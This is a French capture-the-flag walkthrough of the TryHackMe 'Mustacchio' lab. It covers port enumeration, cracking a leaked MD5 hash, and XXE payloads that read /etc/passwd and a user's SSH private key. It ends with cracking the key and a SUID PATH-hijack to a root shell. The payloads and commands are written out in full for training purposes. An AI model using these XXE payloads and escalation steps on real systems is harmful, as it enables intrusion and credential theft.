Mustacchio – WriteUp – TryHackMe – Fr

Mustacchio est une box de TryHackMe basée sur l’énumération et l’injection xxe qui est primordiale pour l’accès au système. 

Task 1 Mustacchio

  • What is the user flag?

Redacted

  • What is the root flag?

Redacted

Enumération

L’énumération avec nmap ( nmap -T5 -p- 10.10.195.223 ) nous donne 3 ports ouverts

  • 22 ssh
  • 80 http
  • 8765 http 

Il n’y a pas beaucoup d’information d’autant plus que les scans avec gobuster ne donne pas plus d’information. 

Dans ce cas ( et même tout le temps ), il faut regarder le code source des pages et les analyser.  Ici sur la page principale sur le port 80, le code source de la page nous donne pas grand-chose à part ce lien « custom/js/mobile.js« . 

D’une manière générale, il faut regarder de partout et cliquer sur tous les liens voir où ça nous mène. La curiosité est certes un vilain défaut, mais là, bon, personne nous en voudra… Bref, mobile.js nous donne ceci : 

En bas, après les //,on a une chaîne de caractère qui ressemble à un hash. Pour connaître le type de hash, on peut utiliser hash-identifier . 

Commande :

hash-identifier

C’est apparemment un algo MD5. On peut soit le casser nous même avec john, soit utiliser crackstation.net  

Commande Méthode avec john:

Mettre le hash dans un fichier 

echo ‘hash’ > fichier.hash

Commande pour le casser : 

john  –format=Raw-MD5 md5 –wordlist=/usr/share/wordlists/rockyou.txt

Une fois que l’on a le mot de passe, il faut tenter de se connecter sur la page de login que l’on a sur cette URL : http://10.10.55.46:8765/home.php 

On n’a pas de nom d’utilisateur, mais comme souvent il faut tenter avec le compte admin… surtout sur une box easy 

Une fois connecté, on arrive sur une page où il est possible de faire un commentaire sur le site.

Il faut regarder à nouveau le code source de la page qui nous donne cette information. 

On a un lien /auth/dontforget.bak et un message concernant une clé ssh. D’abord on tente télécharge le fichier dontforget.bak avec curl.

Commande :

curl http://10.10.55.46:8765/auth/dontforget.bak

On a une sorte de modèle pour faire une injection XXE.

Sur la page GitHub de PayloadsAllTheThings on peut récupérer ce payload là. 

  <!ELEMENT foo ANY >

  <!ENTITY xxe SYSTEM « file:///etc/passwd » >]>&xxe;

Il faut le modifier pour le faire correspondre au fichier dontforget.bak. Ainsi on pourra récupérer le contenu du fichier /etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&xxe;</com>
</comment>

 

 

Pour lire plus facilement le fichier /etc/passwd, il faut afficher la source.

On a récupéré les noms d’utilisateurs, mais pas de mot de passe ou de clé ssh. On va vérifier si sur le compte de barry on a un fichier id_rsa. Toujours, avec le même payload mais légèrement modifié, on va récupérer une clé ssh

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa" >]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&xxe;</com>
</comment>

La clé est protégée par un mot de passe. On va à nouveau utiliser john pour la casser la protection. 

Commandes :

/usr/share/john/ssh2john.py id_rsa > id_rsa.john

john id_rsa.john –wordlist=/usr/share/wordlists/rockyou.txt

 

Escalade de privilège

Connexion ssh :

ssh barry@10.10.55.46 -i id_rsa

Il faut auparavant modifier les permissions du fichier id_rsa

chmod 600 id_rsa

Une fois connecté sudo -l demande un mot de passe qu’on n’a pas.

Il faut soit  passer par linpeas.sh ou faire directement cette commande pour chercher les SUID:

find / -type f -user root -perm -4000 -exec ls -ldb {} \; 2>>/dev/null

Ce qui donne :

Il y en a un qui saute au yeux .

-rwsr-xr-x 1 root root 16832 Jun 12 15:48 /home/joe/live_log

Si on l’exécute, ça donne ceci :

La commande strings est souvent utile quand on a faire à un binaire.

Commande :

strings /home/joe/live_log

 

On peut voir que le programme exécute l’outil tail pour lire  un fichier de log. Tail n’est pas dans un chemin absolu. On va modifier le PATH pour dire au système que Tail se trouve dans le dossier /tmp et dans ce dossier, on va créer un script python qui va nous exécuter un bash. Et on aura rooter la box. Pourquoi ? Parce que live_log s’exécute avec des droits root et que donc il exécutera Tail avec ces mêmes droits root. Donc, il exécutera notre tail qui est dans /tmp avec des droits root. cqfd…

Le script à mettre en place :

#!/usr/bin/python3.5
import os
os.system("/bin/bash")

Modification du PATH :

export PATH=/tmp:$PATH

Exécution du binaire : 

/home/joe/live_log

#

0 0 votes
Évaluation de l'article
S’abonner
Notifier de
0 Commentaires
le plus ancien
le plus récent le plus populaire
Inline Feedbacks
View all comments